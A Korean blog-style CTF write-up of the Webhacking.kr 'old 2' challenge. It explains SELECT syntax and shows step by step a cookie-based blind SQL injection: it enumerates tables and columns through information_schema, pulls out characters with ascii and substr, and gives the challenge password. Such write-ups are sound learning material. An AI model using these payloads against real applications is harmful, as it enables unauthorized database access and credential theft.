웹해킹 문제 풀다보면 SQL Injection 문제가 많은데 SQL 문법 써서 하는 거니까 꼭 알아야함
그래서 이번에 old 2번 문제 풀면서 같이 공부했다
먼저 제일 자주 보이는 SELECT FROM WHERE 구문
각각 뒤에 무엇이 와야하는지 알아보자
SQL SELECT 구문 형식
SELECT select_list [ INTO new_table ]
[ FROM table_source ] [ WHERE search_condition ]
[ GROUP BY group_by_expression ]
[ HAVING search_condition ]
[ ORDER BY order_expression [ ASC | DESC ] ]
SELECT 뒤에 오는 것이 FROM, WHERE 말고도 INTO, GROUP 등등 있는데 일단 FROM 과 WHERE 부터 확인
SELECT select_list FROM table_source WHERE search_condition
즉 SELECT 열 FROM 테이블명 WHERE 조건
SQL Injection
주입한다는 말 그대로 소스코드를 주입해서 공격하는 기법
거짓 and 거짓 or 참
이런 코드를 넣어주면 된다
예를 들어 id and pw 을 입력하는 코드가 있다면
id 값에 아무거나 입력, pw 값에는 '거짓 or 참' 값을 넣어주는 것이다
참 and 거짓 = 거짓
거짓 and 거짓 = 거짓
그렇기에 앞에 입력한 id 값은 영향을 주지 않고
pw에 거짓 or 참 을 입력하면 결과적으로 참이 되어 접속 할 수 있는 것이다.
마찬가지로 반대도 가능하다
참 and 거짓 을 입력하면 결과가 거짓이 되니 거짓일 때의 결과를 확인 할 수 있다.
Webhacking.kr old 2번
들어가보면 이런 화면이 보인다
F12를 눌러 소스코드를 살펴보자
주석에 시간정보와 가 적혀있다
URL 뒷부분에 admin.php를 추가하여 이동해본다.
패스워드 입력창이 있는데, 패스워드를 알아내야할 것 같다.
소스코드 힌트는 시간 주석만 남았는데, cookie 값을 확인해보니 time이라는 쿠키가 있었다.
쿠키값을 바꿔보고 새로고침 해보면 주석의 시간이 바뀌어있다.
Database 문제이니 여기서 SQL Blind Injection 을 사용해서 문제를 풀어야한다.
쿠키값 조작을 통해 시간의 초 값을 바꾸어 원하는 숫자를 얻어내자
먼저 테이블명을 찾는다.
1-1) select count(table_name) from information_schema.tables where table_schema=database()
이 문법은 외우자 현재 database에서 count로 table의 개수를 찾는 구문이다. 2개의 테이블이 나온다.
1-2) (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
length로 테이블명의 길이를 구한다. limit 문법은 0번부터 1개 라는 뜻이다.
같은 구문에 limit 1,1로 바꿀 경우 두 번째 테이블명의 길이가 나온다.
테이블명은 13자리이다.
1-3) 테이블명을 정확히 알아내기 위해 각 자리의 문자를 아스키코드로 변환하여 출력하는 작업을 13번 해준다.
(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)
여기서 사용된 함수는 두개인데 ascii와 substr이다. ascii는 아스키코드로 변환하는 함수이다. substr은 첫 번째 인자로 string을 두 번째 인자로 몇 번째 문자인지, 세 번째 인자로 몇개를 추출할지를 받아와서 출력한다.
첫 번째 문자는 아스키 코드로 97이다. 이걸 13번 하면
ascii
97 100 109 105 110 95 97 114 101 97 95 112 119
변환: admin_area_pw
라는 테이블 명을 알아낼 수 있다.
마찬가지로 두 번째 테이블 명은,
108 111 103
log
테이블의 컬럼명을 찾는다.
2-1) 패스워드를 알아내야하니 pw 가 들어가있는 admin_area_pw 테이블을 공략해보자
이제는 admin_area_pw의 컬럼 개수와 컬럼명, 컬럼 내용을 알아내면 된다.
먼저 컬럼 개수를 알아낸다.
select count(column_name) from information_schema.columns where table_name="admin_area_pw")
컬럼 개수는 1개이다.
2-2) 컬럼명의 길이를 찾는다.
select length(column_name) from information_schema.columns where table_name="admin_area_pw")
해 본 결과 컬럼명의 길이는 2이다.
2-3) 정확한 컬럼명을 찾아낸다.
이번에는 길이가 2이니 두 번만 반복해서 찾아낼 수 있다.
위에서와 마찬가지로 string을 ascii 값으로 변환해서 찾는다.
select ascii(substr(column_name,1,1) from information_schema.columns where table_name="admin_area_pw")
112 119
pw
컬럼명은 pw이다.
컬럼의 값을 알아내면 끝
3-1) 컬럼값의 길이를 찾는다.
(select length(pw) from admin_area_pw)
3-2) pw의 길이만큼 반복하며 첫 번째 자리부터 아스키 값을 추출한다.
(select ascii(substr(pw,1,1)) from admin_area_pw)
17번 반복해준다.
107 117 100 111 115 95 116 111 95 98 101 105 115 116 108 97 98
kudos_to_beistlab
다시 admin.php 페이지로 이동해 패스워드에 kudos_to_beistlab 를 입력해주면 문제가 풀린다!
길고 긴 노가다의 시간이었다.
SQL Injection 구문을 외우기에 좋은 문제 같다. 계속 계속 반복해봐야지 익혀지니까... ㅎㅎㅎ